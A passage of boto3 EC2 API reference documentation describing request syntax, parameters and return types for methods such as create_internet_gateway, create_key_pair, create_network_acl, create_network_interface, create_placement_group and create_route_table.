the same request. + + - _(dict) --_ + + Describes an elastic inference accelerator. + + - **Type** _(string) --_ **[REQUIRED]** + + The type of elastic inference accelerator. The possible values are eia1.medium , eia1.large , eia1.xlarge , eia2.medium , eia2.large , and eia2.xlarge . + + - **Count** _(integer) --_ + + The number of elastic inference accelerators to attach to the instance. + + Default: 1 + +- **TagSpecifications** (_list_) -- + + The tags to apply to the resources during launch. You can only tag instances and volumes on launch. The specified tags are applied to all instances or volumes that are created during launch. To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id806)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id808)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **LaunchTemplate** (_dict_) -- + + The launch template to use to launch the instances. Any parameters that you specify in RunInstances override the same parameters in the launch template. You can specify either the name or ID of a launch template, but not both. + + - **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + - **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + - **Version** _(string) --_ + + The version number of the launch template. + + Default: The default version for the launch template. + +- **InstanceMarketOptions** (_dict_) -- + + The market (purchasing) option for the instances. + + For RunInstances , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + - **MarketType** _(string) --_ + + The market type. + + - **SpotOptions** _(dict) --_ + + The options for Spot Instances. + + - **MaxPrice** _(string) --_ + + The maximum hourly price you're willing to pay for the Spot Instances. The default is the On-Demand price. + + - **SpotInstanceType** _(string) --_ + + The Spot Instance request type. For [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances) , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + - **BlockDurationMinutes** _(integer) --_ + + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + The duration period starts as soon as your Spot Instance receives its instance ID. At the end of the duration period, Amazon EC2 marks the Spot Instance for termination and provides a Spot Instance termination notice, which gives the instance a two-minute warning before it terminates. + + You can't specify an Availability Zone group or a launch group if you specify a duration. + + New accounts or accounts with no previous billing history with AWS are not eligible for Spot Instances with a defined duration (also known as Spot blocks). + + - **ValidUntil** _(datetime) --_ + + The end date of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). Supported only for persistent requests. + + - For a persistent request, the request remains active until the ValidUntil date and time is reached. Otherwise, the request remains active until you cancel it. + - For a one-time request, ValidUntil is not supported. The request remains active until all instances launch or you cancel the request. + - **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + +- **CreditSpecification** (_dict_) -- + + The credit option for CPU usage of the burstable performance instance. Valid values are standard and unlimited . To change this attribute after launch, use [ModifyInstanceCreditSpecification](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceCreditSpecification.html) . For more information, see [Burstable performance instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: standard (T2 instances) or unlimited (T3/T3a instances) + + - **CpuCredits** _(string) --_ **[REQUIRED]** + + The credit option for CPU usage of a T2, T3, or T3a instance. Valid values are standard and unlimited . + +- **CpuOptions** (_dict_) -- + + The CPU options for the instance. For more information, see [Optimizing CPU options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + - **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + - **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. To disable multithreading for the instance, specify a value of 1 . Otherwise, specify the default value of 2 . + +- **CapacityReservationSpecification** (_dict_) -- + + Information about the Capacity Reservation targeting option. If you do not specify this parameter, the instance's Capacity Reservation preference defaults to open , which enables it to run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + + - **CapacityReservationPreference** _(string) --_ + + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + - open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + - none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs as an On-Demand Instance. + - **CapacityReservationTarget** _(dict) --_ + + Information about the target Capacity Reservation or Capacity Reservation group. + + - **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation in which to run the instance. + + - **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the Capacity Reservation resource group in which to run the instance. + +- **HibernationOptions** (_dict_) -- + + Indicates whether an instance is enabled for hibernation. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + You can't enable hibernation and AWS Nitro Enclaves on the same instance. + + - **Configured** _(boolean) --_ + + If you set this parameter to true , your instance is enabled for hibernation. + + Default: false + +- **LicenseSpecifications** (_list_) -- + + The license configurations. + + - _(dict) --_ + + Describes a license configuration. + + - **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + +- **MetadataOptions** (_dict_) -- + + The metadata options for the instance. For more information, see [Instance metadata and user data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) . + + - **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credentials always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + - **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + - **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + +- **EnclaveOptions** (_dict_) -- + + Indicates whether the instance is enabled for AWS Nitro Enclaves. For more information, see [What is AWS Nitro Enclaves?](https://docs.aws.amazon.com/enclaves/latest/user/nitro-enclave.html) in the _AWS Nitro Enclaves User Guide_ . + + You can't enable AWS Nitro Enclaves and hibernation on the same instance. + + - **Enabled** _(boolean) --_ + + To enable the instance for AWS Nitro Enclaves, set this parameter to true . + + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_internet_gateway(kwargs_) + +Creates an internet gateway for use with a VPC. After creating the internet gateway, you attach it to a VPC using AttachInternetGateway . + +For more information about your VPC and internet gateway, see the [Amazon Virtual Private Cloud User Guide](https://docs.aws.amazon.com/vpc/latest/userguide/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateInternetGateway) + +**Request Syntax** + +internet_gateway = ec2.create_internet_gateway( + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +- **TagSpecifications** (_list_) -- + + The tags to assign to the internet gateway. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id811)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id813)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.InternetGateway + +Returns + +InternetGateway resource + +create_key_pair(kwargs_) + +Creates a 2048-bit RSA key pair with the specified name. Amazon EC2 stores the public key and displays the private key for you to save to a file. The private key is returned as an unencrypted PEM encoded PKCS#1 private key. If a key with the specified name already exists, Amazon EC2 returns an error. + +You can have up to five thousand key pairs per Region. + +The key pair returned to you is available only in the Region in which you create it. If you prefer, you can create your own key pair using a third-party tool and upload it to any Region using ImportKeyPair . + +For more information, see [Key Pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateKeyPair) + +**Request Syntax** + +key_pair = ec2.create_key_pair( + KeyName='string', + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **KeyName** (_string_) -- + + **[REQUIRED]** + + A unique name for the key pair. + + Constraints: Up to 255 ASCII characters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **TagSpecifications** (_list_) -- + + The tags to apply to the new key pair. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id816)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id818)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.KeyPair + +Returns + +KeyPair resource + +create_network_acl(kwargs_) + +Creates a network ACL in a VPC. Network ACLs provide an optional layer of security (in addition to security groups) for the instances in your VPC. + +For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkAcl) + +**Request Syntax** + +network_acl = ec2.create_network_acl( + DryRun=True|False, + VpcId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +- **TagSpecifications** (_list_) -- + + The tags to assign to the network ACL. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id821)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id823)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.NetworkAcl + +Returns + +NetworkAcl resource + +create_network_interface(kwargs_) + +Creates a network interface in the specified subnet. + +For more information about network interfaces, see [Elastic Network Interfaces](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkInterface) + +**Request Syntax** + +network_interface = ec2.create_network_interface( + Description='string', + DryRun=True|False, + Groups=[ + 'string', + ], + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + PrivateIpAddress='string', + PrivateIpAddresses=[ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + SecondaryPrivateIpAddressCount=123, + InterfaceType='efa', + SubnetId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **Description** (_string_) -- A description for the network interface. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Groups** (_list_) -- + + The IDs of one or more security groups. + + - _(string) --_ +- **Ipv6AddressCount** (_integer_) -- The number of IPv6 addresses to assign to a network interface. Amazon EC2 automatically selects the IPv6 addresses from the subnet range. You can't use this option if specifying specific IPv6 addresses. If your subnet has the AssignIpv6AddressOnCreation attribute set to true , you can specify 0 to override this setting. +- **Ipv6Addresses** (_list_) -- + + One or more specific IPv6 addresses from the IPv6 CIDR block range of your subnet. You can't use this option if you're specifying a number of IPv6 addresses. + + - _(dict) --_ + + Describes an IPv6 address. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + +- **PrivateIpAddress** (_string_) -- The primary private IPv4 address of the network interface. If you don't specify an IPv4 address, Amazon EC2 selects one for you from the subnet's IPv4 CIDR range. If you specify an IP address, you cannot indicate any IP addresses specified in privateIpAddresses as primary (only one IP address can be designated as primary). +- **PrivateIpAddresses** (_list_) -- + + One or more private IPv4 addresses. + + - _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + - **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + +- **SecondaryPrivateIpAddressCount** (_integer_) -- + + The number of secondary private IPv4 addresses to assign to a network interface. When you specify a number of secondary IPv4 addresses, Amazon EC2 selects these IP addresses within the subnet's IPv4 CIDR range. You can't specify this option and specify more than one private IP address using privateIpAddresses . + + The number of IP addresses you can assign to a network interface varies by instance type. For more information, see [IP Addresses Per ENI Per Instance Type](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html#AvailableIpPerENI) in the _Amazon Virtual Private Cloud User Guide_ . + +- **InterfaceType** (_string_) -- Indicates the type of network interface. To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . +- **SubnetId** (_string_) -- + + **[REQUIRED]** + + The ID of the subnet to associate with the network interface. + +- **TagSpecifications** (_list_) -- + + The tags to apply to the new network interface. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id826)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id828)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.NetworkInterface + +Returns + +NetworkInterface resource + +create_placement_group(kwargs_) + +Creates a placement group in which to launch instances. The strategy of the placement group determines how the instances are organized within the group. + +A cluster placement group is a logical grouping of instances within a single Availability Zone that benefit from low network latency, high network throughput. A spread placement group places instances on distinct hardware. A partition placement group places groups of instances in different partitions, where instances in one partition do not share the same hardware with instances in another partition. + +For more information, see [Placement groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/placement-groups.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreatePlacementGroup) + +**Request Syntax** + +placement_group = ec2.create_placement_group( + DryRun=True|False, + GroupName='string', + Strategy='cluster'|'spread'|'partition', + PartitionCount=123, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **GroupName** (_string_) -- + + A name for the placement group. Must be unique within the scope of your account for the Region. + + Constraints: Up to 255 ASCII characters + +- **Strategy** (_string_) -- The placement strategy. +- **PartitionCount** (_integer_) -- The number of partitions. Valid only when **Strategy** is set to partition . +- **TagSpecifications** (_list_) -- + + The tags to apply to the new placement group. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id831)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id833)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.PlacementGroup + +Returns + +PlacementGroup resource + +create_route_table(kwargs_) + +Creates a route table for the specified VPC. After you create a route table, you can add routes and associate the table with a subnet. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateRouteTable) + +**Request Syntax** + +route_table = ec2.create_route_table( + DryRun=True|False, + VpcId='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +- **TagSpecifications** (_list_) -- + + The tags to assign to the route table. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | 